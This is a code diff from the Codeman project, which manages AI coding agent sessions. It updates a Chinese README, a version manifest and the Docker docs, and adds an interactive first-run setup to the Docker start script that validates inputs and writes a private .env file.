- **退出应用不会停止 Codeman。** 通过应用安装的 Codeman 以 LaunchAgent 的形式运行,登录时自动启动,所以关掉窗口后智能体照样工作,浏览器和手机也和以前一样能访问它。
- **Codeman 的页面需要 Safari 16.4 的 WebKit。** 应用本身在 macOS 11.3 上就能启动,但 Codeman 需要 macOS 13.3 或更高版本,或者装有 Safari 16.4 或更高版本的 macOS 11 或 12。WebKit 更旧时,应用会说明原因,并且不会连接。
- **在应用里安装需要 macOS 15,或者机器上已有 tmux。** tmux 来自 tmux 项目自己的构建,而这些构建需要 macOS 15。在没有 tmux 的旧 Mac 上,应用会改为提供终端安装方式,由 Homebrew 在终端里安装 tmux(这需要管理员操作一次)。
- **更新。** 应用暂时不会自我更新:下载新的 `Codeman.dmg`,拖过去覆盖旧的那份即可。
首次启动、已知限制以及如何自行构建:见 wiki 的 [Installation](https://github.com/Ark0N/Codeman/wiki/Installation#on-a-mac-the-codeman-app)(英文)和 [packages/desktop/README.md](packages/desktop/README.md)(英文)。
<details>
<summary><strong>让它在后台一直运行</strong></summary>
@@ -466,6 +491,7 @@ PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端
- **底栏里的 Git 状态**:默认关闭(**App Settings → Header & Panels → Bottom bar → Git status**,按设备生效)。底栏右侧的一个小指示器让你一眼看清当前会话所在仓库的状态:`● 3` 表示未提交的文件,`↑ 2` 表示未推送的提交,`⚠` 表示合并冲突,`✓` 表示全部已提交并推送。点击它会打开一个可拖动的窗口,列出已暂存、未暂存、未跟踪和有冲突的文件(按折叠的文件夹分组,关掉该设置则显示为平铺列表)以及未推送的提交;**点击文件即可查看它的 diff**(新文件全部显示为新增,已删除的文件全部显示为删除),**Open file** 可直接跳到查看器。一个包含多个项目的文件夹,会为向下两层内找到的每个仓库各给一个可折叠分区,打开之前全部折叠。只读且离线(Codeman 绝不 fetch,也绝不改动仓库);Docker 和远程会话不显示
- **把 GitHub 仓库克隆成 case** —— 在 **Add Case → Clone Repo** 里粘贴一个仓库 URL,Codeman 会把它克隆到 `~/codeman-cases/<name>` 并注册为普通 case,随时可以跑智能体。输入时它会预检 URL(告诉你能否匿名克隆,并为可选的分支/标签字段提供仓库真实的分支与标签),从 URL 里填好 case 名,还让你选 Run 按钮该用哪个 CLI。支持 `https://` 的公开仓库;Codeman 绝不收集或保存凭据
- **在自定义文件夹里创建 case**:在 **Add Case → Create New** 里勾选 **Create in a custom folder**,选一个父文件夹(可用 Browse 浏览)和一个名字,Codeman 就会在那里而不是 `~/codeman-cases` 里搭建新 case。目标必须是一个新的或空的文件夹;系统目录、你的主目录本身、`~/.ssh` 这类凭据目录,以及 Codeman 自己的数据目录都会被拒绝。多用户模式下仅管理员可用
- **打开你手动启动的 tmux 会话**:在 Codeman 之外启动的 tmux 会话会出现在主屏幕上:本机的会自动列出,Docker case 容器内和已保存 SSH 主机上的会在你扫描时列出。点一下即可作为标签页打开。关闭标签页只会分离,Codeman 不会重生或重启并非由它启动的智能体。详见 [Opened outside Codeman](docs/wiki/The-Dashboard.md#opened-outside-codeman)。
- **多 CLI** —— 每个会话可选 **Claude Code**、**OpenCode**、**Codex**、**Antigravity**、**Gemini**、**Pi**、**Grok**、**DeepSeek Harness**、**OMP** 或 **GitHub Copilot CLI**;环境变量前缀自动隔离(`CLAUDE_CODE_*`、`OPENCODE_*`、`CODEX_*`、`ANTIGRAVITY_*`、`GEMINI_*`/`GOOGLE_*`、`PI_*`、`GROK_*`/`XAI_*`、`DSH_*`/`DEEPSEEK_*`、`OMP_*` 与 `COPILOT_*`)。详见 [`docs/opencode-integration.md`](docs/opencode-integration.md)、[`docs/pi-integration.md`](docs/pi-integration.md)、[`docs/grok-integration.md`](docs/grok-integration.md)、[`docs/deepseek-integration.md`](docs/deepseek-integration.md)、[`docs/omp-integration.md`](docs/omp-integration.md) 与 [`docs/copilot-integration.md`](docs/copilot-integration.md)
- **自定义模型端点**(1.29.0 新增,目前仅 HTTP API)—— 让某个会话的 CLI 指向任意 OpenAI 兼容端点,而不是它自己的官方后端:本地的 llama.cpp、llama-swap、Ollama 或 vLLM 机器,也可以是 Azure AI Foundry、OpenRouter 这类云端网关。端点只需保存一次(`POST /api/model-endpoints`,模型列表从它的 `/v1/models` 自动发现),再应用到会话(`POST /api/sessions/:id/custom-model`),CLI 就会在原地重启并接上该端点。Claude、OpenCode、Pi、Grok 与 OMP 已实测通过;Codex、Gemini 与 DeepSeek 存在已记录的缺口,Antigravity 没有可用机制。工具栏选择器是下一步。详见 [`docs/custom-model-endpoints.md`](docs/custom-model-endpoints.md)
- **Web 标签页** —— 把 Grafana、Uptime Kuma、一个 Vite 开发服务器或任何仪表盘 URL 作为标签页打开在会话旁边(Run 下拉菜单 → **Web / URL** → **Add URL**)。仪表盘通过 Codeman 自己的源代理,因此 `http://` 目标在手机上走 HTTPS 也能用、走隧道也能用;单页应用能在自己的路径上正常路由,页面自己重载后也能自行恢复。智能体打印出的 `localhost` 链接会自动以 Web 标签页打开。详见 [`docs/web-tabs.md`](docs/web-tabs.md)
@@ -516,7 +542,7 @@ PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端
- **发现与附着**:列出主机上已在运行的 `codeman-*` 会话(由那台机器自己的 Codeman 或其他操作者启动)并附着其一。非你所有的已附着会话在关闭标签时**只分离,绝不杀掉**。
- **共享会话**:多个客户端可以以不同窗口尺寸同时附着同一个远程会话而互不挤压;发现列表会显示带客户端计数的「shared」徽标。
- **注入安全**:所有 ssh 命令行都经由单一的 shell 转义构建器生成,主机/路径/身份文件字段均有模式校验。
- **文件也行**:远程 case 里的预览、下载和文本读取走同一条 ssh 连接(一次 `realpath` + `stat` 探测,然后流式 `cat`,支持 `Range` 拖动进度),所以点一个路径打开的就是智能体所在那台机器上的文件。什么都不会复制到 Codeman 主机;编辑和 Office 预览会明确返回 400,而不是一个误导性的 404。
- **文件也行**:远程 case 里的预览、下载和文本读取走同一条 ssh 连接(一次 `realpath` + `stat` 探测,然后流式 `cat`,支持 `Range` 拖动进度),所以点一个路径打开的就是智能体所在那台机器上的文件。除了 Edit history 面板保存的差异之外,什么都不会复制到 Codeman 主机;编辑和 Office 预览会明确返回 400,而不是一个误导性的 404。
- **完整的回滚历史**:加载远程会话的历史时,会通过一次有上限的 ssh 往返直接从远程 tmux 读取,所以重新附着或切换标签之后,会话依然保有完整的回滚缓冲区,历史与实时屏幕衔接处也不会丢行。
在 **New Case → Remote** 中配置(主机、用户、身份文件、可选跳板机)。完整设计:[`docs/remote-sessions.md`](docs/remote-sessions.md)。
@@ -766,13 +792,15 @@ Web UI 仍是主要界面;完整指南见 **[docs/tui.md](docs/tui.md)**(英
#### 第 1 步:安装
通常什么都不用装:从 1.50.0 起,每个新会话都会在自己的文件夹里、在它的 CLI 查找技能的位置拿到这个技能(即下表的 Web UI 一行,默认开启)。这份副本会让 git 忽略它自己,所以你的仓库永远不会把它列为新文件。其他方式适用于 pi,或者你想要一份不依赖这个设置的副本的情况。
| 方式 | 命令 | 范围 |
| ---------------- | ---------------------------------------------------------- | ------------------------------------------------------------------------------------------ |
| Skills CLI | `npx skills add Ark0N/Codeman --skill codeman -g` | 全局,任何支持技能的智能体都能用([skills.sh](https://skills.sh));给 pi 装技能就用这个方式 |
| Claude Code 插件 | `/plugin marketplace add Ark0N/Codeman`,然后 `/plugin install codeman@codeman` | 全局,通过 Claude Code 自带的插件管理器;`/plugin update codeman` 跟随新版本。与 `codeman skill install` 二选一:两者都装会让技能出现两次(`codeman` 和 `codeman:codeman`) |
| 内置 CLI | `codeman skill install` | 全局(`~/.claude/skills/codeman`),给那些从 npm 安装、从未克隆过仓库的用户 |
| 内置 CLI | `codeman skill install --case <name> [--mode <mode>]` | 仅一个 case;`--mode codex`(或任何其他运行模式)会把它写到那个 CLI 查找技能的位置 |
| Web UI | App Settings → Agents & CLIs → All agent CLIs → **Codeman Agent Skill** | 每次创建会话时自动注入到 case 里该会话的 CLI 查找技能的位置:Claude Code 是 `.claude/skills/`,Codex、Gemini CLI、OpenCode、Antigravity、Grok、DeepSeek 和 OMP 是 `.agents/skills/`;pi 除外,因为它的项目级技能会触发信任提示(`agentSkillEnabled`,跨设备同步,默认关闭) |
| Web UI | App Settings → Agents & CLIs → All agent CLIs → **Codeman Agent Skill** | 每次创建会话时自动注入到 case 里该会话的 CLI 查找技能的位置:Claude Code 是 `.claude/skills/`,Codex、Gemini CLI、OpenCode、Antigravity、Grok、DeepSeek 和 OMP 是 `.agents/skills/`;pi 除外,因为它的项目级技能会触发信任提示(`agentSkillEnabled`,跨设备同步,从 1.50.0 起**默认开启**;同时装了插件的 Claude Code 会把技能列出两次,两个都能用,嫌重复就去掉其中一个) |
`codeman skill uninstall [--case <name>]` 可以撤销 CLI 安装(带 `--case` 时,删除该 case 里所有由 Codeman 管理的副本,不论它在哪个 CLI 的目录里),并且绝不会碰你自己写的 `skills/codeman`。
@@ -839,7 +867,7 @@ deleted 9f2d8e5f, aff9c691, be9f1f15 标签消失
- **它会自我门禁。** 它在 Codeman 管理的会话里工作。不在这样的会话里(`CODEMAN_MUX` 未设置)时,它只会离线读取已保存的 Codex 对话(`codeman history read`),其他一律拒绝,也从不去猜 API 地址,所以全局安装对无关的 Claude Code 会话没有任何代价。
- **它刻意保守。** 未经提示,它只会拉起会话、给它们发提示,并删除**它在同一段对话里自己创建的**会话(按精确 id,经由一个拒绝删除智能体自身会话的失败即关闭守卫)。删除 case(会抹掉一个真实的代码目录)、批量杀会话、改动 respawn/ralph/cron/orchestrator 以及写设置,都需要你开口并指名目标。
⚠️ 把 `agentSkillEnabled` 关回去**不会删掉已经注入的副本**(在创建时做清扫,会把技能从共用同一个工作区的其他活动会话脚下抽走)。要删就按 case 删:`codeman skill uninstall --case <name>`。
⚠️ 从 1.50.0 起,Web UI 注入**默认开启**。`settings.json` 里没有 `agentSkillEnabled` 这个键就表示开启。已经存了关闭的旧安装,会在第一次启动 1.50.0 时被打开一次(1.49.0 及更早版本每次保存 App Settings 都会写入旧默认值 `false`,不管你有没有动过这个开关);之后你再把它关掉,就会一直保持关闭。把它关掉**不会删掉已经注入的副本**(在创建时做清扫,会把技能从共用同一个工作区的其他活动会话脚下抽走)。要删就按 case 删:`codeman skill uninstall --case <name>`。
---
+2 -2
View File
@@ -3,7 +3,7 @@
"name": "io.github.Ark0N/codeman",
"title": "Codeman",
"description": "Start, prompt and read AI coding agent sessions (Claude Code, Codex, Gemini CLI and more) in Codeman",
"version": "1.48.0",
"version": "1.50.0",
"websiteUrl": "https://getcodeman.com",
"repository": {
"url": "https://github.com/Ark0N/Codeman",
@@ -13,7 +13,7 @@
{
"registryType": "npm",
"identifier": "aicodeman",
"version": "1.48.0",
"version": "1.50.0",
"transport": {
"type": "stdio"
},
+1
View File
@@ -61,6 +61,7 @@ export const BROWSER_TEST_GLOBS = [
'test/terminal-touch-swipe-axis.browser.test.ts',
'test/phone-press-feedback.browser.test.ts',
'test/desktop-connect-page.browser.test.ts', // no server: the page is served by request interception
'test/local-model-ui.browser.test.ts',
];
/**
+10 -3
View File
@@ -1,9 +1,14 @@
# =============================================================================
# Codeman Docker Compose environment template
# Copy this file to .env and set the values for the Docker host.
#
# Usually there is no need to copy this by hand: on its first run,
# `bash docker/Start-Codeman.sh` writes docker/.env from this file, asking for
# the data folder, port and password and filling in this host's time zone.
# Copy it yourself (to docker/.env) only for a hand-built setup, such as a host
# where everything runs as root (Unraid) or Compose started without the script.
# =============================================================================
TZ=Australia/Perth
TZ=Etc/UTC
# Optional overrides for direct `docker compose` use. The Bash start script
# detects these values from CODEMAN_APPDATA_PATH automatically. Compose uses
@@ -23,7 +28,8 @@ CODEMAN_RUNTIME_USER=codeman
# Required. Persistent Codeman application data, CLI credentials, and session
# state are stored here on the host and mounted at the runtime account's home
# directory in the container.
# directory in the container. The value below is the Unraid layout; the first
# run of Start-Codeman.sh suggests ~/codeman-docker instead.
CODEMAN_APPDATA_PATH=/mnt/user/appdata/codeman
# Optional. Absolute host path of this Codeman checkout, mounted at
@@ -45,6 +51,7 @@ CODEMAN_IMAGE=codeman:local
# Required for any network-accessible Codeman instance. Use a unique, strong
# password. This file is safe to commit; copy it to .env and set the value.
# Start-Codeman.sh refuses to start while it is still `changeme`.
CODEMAN_PASSWORD=changeme
# Required. Username for Codeman HTTP Basic authentication.
+31 -2
View File
@@ -4,7 +4,36 @@ This folder contains the Compose configuration, server image Dockerfile, and env
## Start
From the repository root, create the runtime environment file and set the required values, especially `CODEMAN_PASSWORD`.
From a fresh clone, on Linux:
```sh
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
The first run checks that Docker, the Compose v2 plugin (2.27.2 or newer) and the daemon are usable, naming the fix when one is not. It then asks three questions, and Enter takes the default for each:
| Question | Default |
| ----------- | ------------------------------------------------------------------------------------------------------------------------------ |
| Data folder | `~/codeman-docker`. It becomes the container's home: Codeman's state, CLI logins, and the `codeman-cases` folder for projects. |
| Port | 3000, or the next free port when something on the machine already uses 3000. |
| Password | A generated 24-character password, shown on your terminal and kept in `docker/.env`. |
It writes `docker/.env` from `.env.example` (readable only by you, with this host's time zone filled in), builds the image, starts the container, waits until Codeman answers, and prints the URL to open, the address for other devices on your network, and the commands for logs and stopping. The first build takes a few minutes.
Your account has to be able to use Docker without sudo. If it cannot, the script says so: run `sudo usermod -aG docker $USER`, then log out and back in. The first run refuses to set up as root, because Codeman's data folder must belong to a normal account.
| Option | Effect |
| -------------- | --------------------------------------------------------------------------------------------------------- |
| `--yes`, `-y` | Take every default without asking. This also happens when no terminal is attached. |
| `--setup-only` | Write `docker/.env` and stop, so you can review it (or add the optional settings below) before the build. |
| `--no-wait` | Start the container without waiting for Codeman to answer. |
On a first run, `CODEMAN_APPDATA_PATH`, `CODEMAN_PORT` and `CODEMAN_PASSWORD` set in the environment replace the defaults, a different answer typed at the question still wins, and a preset password skips its question. A password the script generates is only ever shown on a terminal: when the output is captured (a log, a pipe), read it from `docker/.env`. Every later run reads `docker/.env` as it is, asks nothing and never edits it, except that Compose prefers a variable exported in your shell over the file. Change a value by editing the file and running the script again. The script refuses to start while `CODEMAN_PASSWORD` is still the example's `changeme`, because the container is reachable from your network and controls Docker on the host.
### Setting it up by hand
Hosts where everything runs as root (Unraid), and Compose run without the script, take a hand-written `.env` instead. From the repository root, copy the template and set the required values, especially `CODEMAN_PASSWORD` and a `CODEMAN_APPDATA_PATH` owned by an unprivileged account:
```sh
cp docker/.env.example docker/.env
@@ -198,7 +227,7 @@ volumes:
target: /home/${CODEMAN_RUNTIME_USER}
```
Set `CODEMAN_APPDATA_PATH` in `.env` to a directory that the Docker daemon can access. The example value is `/mnt/user/appdata/codeman`.
Set `CODEMAN_APPDATA_PATH` in `.env` to a directory that the Docker daemon can access. The example value is `/mnt/user/appdata/codeman` (an Unraid layout); the first run of `Start-Codeman.sh` suggests `~/codeman-docker` instead.
`CODEMAN_CASES_PATH` is the separate host directory for managed case workspaces. It is mounted into Codeman at the same absolute path, allowing the host Docker daemon to bind it into an isolated case container. Set it to a child directory of `CODEMAN_APPDATA_PATH` unless you deliberately store workspaces elsewhere.
+667 -19
View File
@@ -1,17 +1,479 @@
#!/usr/bin/env bash
#
# Sets up (on the first run) and starts the Docker Compose deployment.
#
# A new install is two commands, from a fresh clone:
#
# git clone https://github.com/Ark0N/Codeman.git && cd Codeman
# bash docker/Start-Codeman.sh
#
# With no docker/.env yet, this asks three questions (data folder, port,
# password; Enter takes the default each time), writes docker/.env from
# .env.example, builds the image, starts the container, waits until Codeman
# answers and prints the URL to open. Every later run (after a `git pull`, or
# when the in-app updater asks for it) skips the questions and rebuilds and
# restarts the stack.
#
# Usage: bash docker/Start-Codeman.sh [--yes] [--setup-only] [--no-wait]
# --yes, -y First run: take every default without asking. Also what
# happens when no terminal is attached.
# --setup-only Write docker/.env and stop, so it can be reviewed first.
# --no-wait Do not wait for Codeman to answer after starting it.
#
# A first run takes its defaults from CODEMAN_APPDATA_PATH, CODEMAN_PORT and
# CODEMAN_PASSWORD when they are set in the environment.
#
# Bash 3.2 clean on purpose: Docker Desktop on macOS runs this with
# /bin/bash 3.2 (no ${x,,}, mapfile, associative arrays or here-strings).
set -euo pipefail
script_dir=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)
env_file="$script_dir/.env"
example_file="$script_dir/.env.example"
compose_file="$script_dir/docker-compose.yaml"
if [[ ! -f "$env_file" ]]; then
printf 'Error: Docker environment file is missing: %s\n' "$env_file" >&2
printf 'Create it from %s/.env.example before starting Codeman.\n' "$script_dir" >&2
assume_yes=0
setup_only=0
no_wait=0
for arg in "$@"; do
case "$arg" in
--yes | -y) assume_yes=1 ;;
--setup-only) setup_only=1 ;;
--no-wait) no_wait=1 ;;
--help | -h)
printf 'Usage: bash %s [--yes] [--setup-only] [--no-wait]\n' "$0"
printf ' --yes, -y First run: take every default without asking\n'
printf ' --setup-only Write docker/.env and stop, so it can be reviewed first\n'
printf ' --no-wait Do not wait for Codeman to answer after starting it\n'
exit 0
;;
*)
printf 'Error: unrecognised argument: %s\n' "$arg" >&2
printf 'Usage: bash %s [--yes] [--setup-only] [--no-wait]\n' "$0" >&2
exit 1
;;
esac
done
# ── Preflight ────────────────────────────────────────────────────────────────
# The three things a new machine most often lacks, each named with its fix
# before anything else runs (a missing daemon used to surface as a bare Compose
# error from the first `config` call below).
# PURE: is dotted version $1 older than $2? An unparseable $1 is never "older":
# the `config --environment` failure handler below still catches a real miss.
version_older_than() {
local re='^([0-9]+)\.([0-9]+)\.([0-9]+)'
local a b c x y z
[[ "$1" =~ $re ]] || return 1
a=$((10#${BASH_REMATCH[1]})) b=$((10#${BASH_REMATCH[2]})) c=$((10#${BASH_REMATCH[3]}))
[[ "$2" =~ $re ]] || return 1
x=$((10#${BASH_REMATCH[1]})) y=$((10#${BASH_REMATCH[2]})) z=$((10#${BASH_REMATCH[3]}))
if ((a != x)); then
((a < x))
return
fi
if ((b != y)); then
((b < y))
return
fi
((c < z))
}
# `docker compose config --environment`, which everything below reads the
# settings through, first shipped in Compose v2.27.2 (docker/compose#11891).
min_compose_version='2.27.2'
if ! command -v docker >/dev/null 2>&1; then
printf 'Error: Docker is not installed (no `docker` command on PATH).\n' >&2
printf 'Install Docker Engine (Linux: https://docs.docker.com/engine/install/) or\n' >&2
printf 'Docker Desktop (macOS, Windows), then rerun this script.\n' >&2
exit 1
fi
if ! docker compose version >/dev/null 2>&1; then
printf 'Error: the Docker Compose v2 plugin is missing (`docker compose version` failed).\n' >&2
if command -v docker-compose >/dev/null 2>&1; then
printf 'The standalone `docker-compose` found on PATH is not a substitute for it.\n' >&2
fi
printf 'Install it from https://docs.docker.com/compose/install/linux/\n' >&2
printf '(Debian/Ubuntu with Docker'"'"'s apt repository: sudo apt-get install docker-compose-plugin).\n' >&2
exit 1
fi
compose_version=$(docker compose version --short 2>/dev/null || true)
compose_version=${compose_version#v}
if version_older_than "$compose_version" "$min_compose_version"; then
printf 'Error: Docker Compose %s is too old; Codeman needs %s or newer.\n' \
"$compose_version" "$min_compose_version" >&2
printf 'Update the Compose plugin (https://docs.docker.com/compose/install/linux/), then rerun.\n' >&2
exit 1
fi
# `docker version`, not `docker info`: on CLI 24 through 27 `info --format` exits
# 0 with the daemon unreachable (measured on 27.5.1), so this check never fired.
if ! docker_error=$(docker version --format '{{.Server.Version}}' 2>&1 >/dev/null); then
case "$docker_error" in
*[Pp]ermission\ denied*)
account=$(id -un 2>/dev/null || printf 'your account')
printf 'Error: %s is not allowed to use Docker yet.\n' "$account" >&2
printf 'Add it to the docker group, then log out and back in (or run `newgrp docker`):\n' >&2
printf ' sudo usermod -aG docker %s\n' "$account" >&2
printf 'Prefer that over running this script with sudo: Codeman'"'"'s data folder has to\n' >&2
printf 'belong to a normal account, and a first run refuses to set it up as root.\n' >&2
;;
*)
printf 'Error: the Docker daemon is not reachable. Start it (Linux: sudo systemctl start\n' >&2
printf 'docker; macOS and Windows: open Docker Desktop), then rerun this script.\n' >&2
printf 'Docker said: %s\n' "$docker_error" >&2
;;
esac
exit 1
fi
# ── First-run setup ──────────────────────────────────────────────────────────
# Runs only while docker/.env does not exist, and never edits an existing one.
# The file is generated FROM .env.example (its KEY= lines rewritten in place),
# so every key the example sets is present: the in-app updater refuses an
# update while the user's .env lacks a key the target release's example sets
# (diffRequiredEnvKeys, src/web/self-update.ts), and a hand-picked subset would
# trip that on the very next release.
first_run=0
generated_password=''
is_interactive() {
[[ "$assume_yes" != '1' && "${CODEMAN_NONINTERACTIVE:-0}" != '1' && -t 0 ]]
}
# Reads one answer into $answer (with -s, without echo). End of input (Ctrl+D)
# cancels the setup rather than looping on a default that was just refused.
ask() {
if ! IFS= read -r "$@" answer; then
printf '\nSetup cancelled; nothing was written.\n' >&2
exit 1
fi
}
# True when something on this host already accepts connections on the port.
# bash's /dev/tcp needs no extra tool on Linux or macOS.
port_in_use() {
(exec 3<>"/dev/tcp/127.0.0.1/$1") 2>/dev/null || (exec 3<>"/dev/tcp/::1/$1") 2>/dev/null
}
first_free_port() {
local port=$1
local last=$(($1 + 99))
while ((port <= last)); do
if ! port_in_use "$port"; then
printf '%s' "$port"
return 0
fi
port=$((port + 1))
done
printf '%s' "$1"
}
host_timezone() {
local tz='' re='^[A-Za-z0-9_+/-]+$'
if [[ -r /etc/timezone ]]; then
tz=$(head -n1 /etc/timezone 2>/dev/null) || tz=''
fi
if [[ -z "$tz" ]] && command -v timedatectl >/dev/null 2>&1; then
tz=$(timedatectl show -p Timezone --value 2>/dev/null) || tz=''
fi
if [[ -z "$tz" && -L /etc/localtime ]]; then
tz=$(readlink /etc/localtime 2>/dev/null) || tz=''
tz=${tz##*zoneinfo/}
fi
if [[ ! "$tz" =~ $re ]]; then
tz='Etc/UTC'
fi
printf '%s' "$tz"
}
generate_password() {
local pw=''
# `|| true`: head closing the pipe early is the normal case, not a failure.
pw=$(LC_ALL=C tr -dc 'A-Za-z0-9' </dev/urandom 2>/dev/null | head -c 24) || true
if ((${#pw} != 24)) && command -v openssl >/dev/null 2>&1; then
pw=$(openssl rand -base64 48 | LC_ALL=C tr -dc 'A-Za-z0-9' | head -c 24) || true
fi
if ((${#pw} != 24)); then
printf 'Error: could not generate a password; set CODEMAN_PASSWORD and rerun.\n' >&2
exit 1
fi
printf '%s' "$pw"
}
# Compose reads .env values with its own dotenv rules: `$` interpolates and an
# unquoted ` #` starts a comment. A single-quoted value is taken literally, so
# anything beyond plain path characters is written that way. It cannot hold a
# single quote, and a backslash just before the closing quote escapes that quote,
# so the whole file fails to parse: the accept_* checks below refuse both.
env_quote() {
local re='^[A-Za-z0-9._/@:+-]*$'
if [[ "$1" =~ $re ]]; then
printf '%s' "$1"
else
printf "'%s'" "$1"
fi
}
repo_root=$(cd -- "$script_dir/.." && pwd)
# Sets setup_appdata, or says why the answer cannot be used and returns 1.
accept_appdata_path() {
local p=$1
case "$p" in
'~') p=$HOME ;;
'~/'*) p="$HOME/${p#\~/}" ;;
esac
while [[ "$p" == *//* ]]; do
p=${p//\/\//\/}
done
while [[ "$p" == */ && "$p" != / ]]; do
p=${p%/}
done
case "$p" in
*"'"* | *$'\n'*)
printf ' The path cannot contain a single quote or a line break.\n' >&2
return 1
;;
*\\)
printf ' The path cannot end in a backslash.\n' >&2
return 1
;;
esac
if [[ "$p" != /* ]]; then
printf ' Use an absolute path, one that starts with /.\n' >&2
return 1
fi
# The refusals below compare strings, so a dot segment could spell any folder
# they exist to keep out.
case "$p/" in
*/./* | */../*)
printf ' Spell the path out, without . or .. in it.\n' >&2
return 1
;;
esac
# The folder becomes the container's home directory, so its `.codeman` is
# the server's state directory: $HOME itself would share state.json with a
# Codeman installed directly on this machine.
if [[ "$p" == / || "$p" == "$HOME" ]]; then
printf ' Pick a folder of its own; it becomes the container'"'"'s home directory.\n' >&2
return 1
fi
if [[ "$p" == "$HOME/.codeman" || "$p" == "$HOME/.codeman/"* ]]; then
printf ' %s belongs to a Codeman installed directly on this machine; pick another folder.\n' "$HOME/.codeman" >&2
return 1
fi
# Inside the checkout it would sit in the image build context (COPY . .),
# CLI logins and all.
if [[ "$p" == "$repo_root" || "$p" == "$repo_root/"* ]]; then
printf ' Pick a folder outside %s; that folder is copied into the image when it is built.\n' "$repo_root" >&2
return 1
fi
setup_appdata=$p
}
accept_port() {
local re='^[0-9]+$'
if [[ ! "$1" =~ $re ]] || ((10#$1 < 1 || 10#$1 > 65535)); then
printf ' Use a port number from 1 to 65535.\n' >&2
return 1
fi
setup_port=$((10#$1))
}
accept_password() {
case "$1" in
*"'"* | *$'\n'*)
printf ' The password cannot contain a single quote or a line break.\n' >&2
return 1
;;
*\\)
printf ' The password cannot end in a backslash.\n' >&2
return 1
;;
esac
if ((${#1} < 8)); then
printf ' Use at least 8 characters.\n' >&2
return 1
fi
if [[ "$1" == 'changeme' ]]; then
printf ' That is the published example password; pick another.\n' >&2
return 1
fi
setup_password=$1
}
write_env_file() {
local tmp="$env_file.tmp.$$" line
(
umask 077
{
printf '# Written by Start-Codeman.sh on its first run, from .env.example.\n'
printf '# Change any value here, then rerun: bash docker/Start-Codeman.sh\n'
printf '\n'
while IFS= read -r line || [[ -n "$line" ]]; do
case "$line" in
TZ=*) printf 'TZ=%s\n' "$(env_quote "$setup_tz")" ;;
CODEMAN_APPDATA_PATH=*) printf 'CODEMAN_APPDATA_PATH=%s\n' "$(env_quote "$setup_appdata")" ;;
CODEMAN_CASES_PATH=*) printf 'CODEMAN_CASES_PATH=%s\n' "$(env_quote "$setup_cases")" ;;
CODEMAN_PORT=*) printf 'CODEMAN_PORT=%s\n' "$setup_port" ;;
CODEMAN_PASSWORD=*) printf 'CODEMAN_PASSWORD=%s\n' "$(env_quote "$setup_password")" ;;
*) printf '%s\n' "$line" ;;
esac
done <"$example_file"
} >"$tmp"
)
chmod 600 "$tmp"
mv -- "$tmp" "$env_file"
}
run_first_run_setup() {
local answer again default_appdata default_port port_note='' password_note username
if [[ "$EUID" == '0' ]]; then
printf 'Error: %s does not exist yet, and the first-run setup does not run as root.\n' "$env_file" >&2
printf 'Run it as the normal account that should own Codeman'"'"'s data (that account\n' >&2
printf 'needs to be in the docker group). On a root-only host such as Unraid, copy\n' >&2
printf '%s to %s by hand instead,\n' "$example_file" "$env_file" >&2
printf 'point CODEMAN_APPDATA_PATH at a folder an unprivileged account owns, set\n' >&2
printf 'CODEMAN_PASSWORD, and rerun.\n' >&2
exit 1
fi
if [[ ! -f "$example_file" ]]; then
printf 'Error: %s is missing, so there is nothing to build docker/.env from.\n' "$example_file" >&2
exit 1
fi
default_appdata=${CODEMAN_APPDATA_PATH:-$HOME/codeman-docker}
if [[ -n "${CODEMAN_PORT:-}" ]]; then
default_port=$CODEMAN_PORT
else
default_port=$(first_free_port 3000)
if [[ "$default_port" != '3000' ]]; then
port_note=' (3000 is already taken on this machine)'
fi
fi
setup_tz=$(host_timezone)
username=$(sed -n 's/^CODEMAN_USERNAME=//p' "$example_file" | head -n1)
printf '\nCodeman Docker setup\n'
printf 'There is no docker/.env yet, so this first run writes one. Enter takes the [default].\n\n'
if is_interactive; then
while :; do
printf ' Data folder (state, CLI logins, projects) [%s]: ' "$default_appdata"
ask
if [[ -z "$answer" ]]; then
answer=$default_appdata
fi
if accept_appdata_path "$answer"; then
break
fi
done
while :; do
printf ' Port [%s]%s: ' "$default_port" "$port_note"
ask
if [[ -z "$answer" ]]; then
answer=$default_port
fi
if accept_port "$answer"; then
break
fi
done
if [[ -n "${CODEMAN_PASSWORD:-}" ]]; then
accept_password "$CODEMAN_PASSWORD" || exit 1
printf ' Password: taken from CODEMAN_PASSWORD\n'
else
while :; do
printf ' Password [Enter generates a strong one]: '
ask -s
printf '\n'
if [[ -z "$answer" ]]; then
setup_password=$(generate_password)
generated_password=$setup_password
break
fi
if ! accept_password "$answer"; then
continue
fi
printf ' Repeat the password: '
again=$answer
ask -s
printf '\n'
if [[ "$again" == "$answer" ]]; then
break
fi
printf ' The two entries differ; try again.\n' >&2
done
fi
else
printf ' No questions asked (no terminal attached, or --yes): taking the defaults.\n'
accept_appdata_path "$default_appdata" || exit 1
accept_port "$default_port" || exit 1
if [[ -n "${CODEMAN_PASSWORD:-}" ]]; then
accept_password "$CODEMAN_PASSWORD" || exit 1
else
setup_password=$(generate_password)
generated_password=$setup_password
fi
fi
if port_in_use "$setup_port"; then
printf ' Note: something on this machine already listens on port %s, so starting will\n' "$setup_port" >&2
printf ' fail until it stops or CODEMAN_PORT in docker/.env names a free port.\n' >&2
fi
setup_cases="$setup_appdata/codeman-cases"
write_env_file
first_run=1
# Compose prefers the shell environment over the env file, so a preset still
# exported here would beat a different typed answer: docker/.env and the
# summary would name one folder and port and the stack would run on another.
unset TZ CODEMAN_APPDATA_PATH CODEMAN_CASES_PATH CODEMAN_PORT CODEMAN_PASSWORD
# A generated password goes to a terminal only: a captured log would be a
# weaker copy of a credential that controls Docker on this host.
if [[ -z "$generated_password" ]]; then
password_note='the one you chose'
elif [[ -t 1 ]]; then
password_note="$generated_password (generated; it stays in docker/.env)"
else
password_note='generated; read it from docker/.env'
fi
printf '\nWrote %s (readable only by you):\n' "$env_file"
printf ' Data folder %s\n' "$setup_appdata"
printf ' Projects %s\n' "$setup_cases"
printf ' Port %s\n' "$setup_port"
printf ' Time zone %s\n' "$setup_tz"
printf ' Username %s\n' "${username:-admin}"
printf ' Password %s\n' "$password_note"
printf 'Everything else in it is optional (Git identity, private repositories, reverse\n'
printf 'proxy); docker/README.md explains each setting.\n\n'
}
if [[ ! -e "$env_file" && ! -L "$env_file" ]]; then
run_first_run_setup
elif [[ ! -f "$env_file" ]]; then
